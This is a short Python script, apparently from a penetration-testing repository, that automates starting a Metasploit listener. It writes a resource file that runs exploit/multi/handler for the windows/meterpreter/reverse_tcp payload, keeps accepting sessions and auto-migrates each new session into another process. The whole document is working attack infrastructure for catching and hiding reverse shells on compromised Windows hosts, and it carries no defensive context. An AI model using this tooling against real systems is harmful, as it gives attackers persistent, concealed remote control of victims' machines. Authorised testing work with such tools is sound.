Quickly Start Listener scripts

#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
    options = "use exploit/multi/handler\n"
    options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
    options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
    filewrite = file("listener.rc", "w")
    filewrite.write(options)
    filewrite.close()
    subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait()

#grab args
try:
    lhost = sys.argv[1]
    lport = sys.argv[2]
    build(lhost,lport)

#index error
except IndexError:
    print "python StartListener.py lhost lport"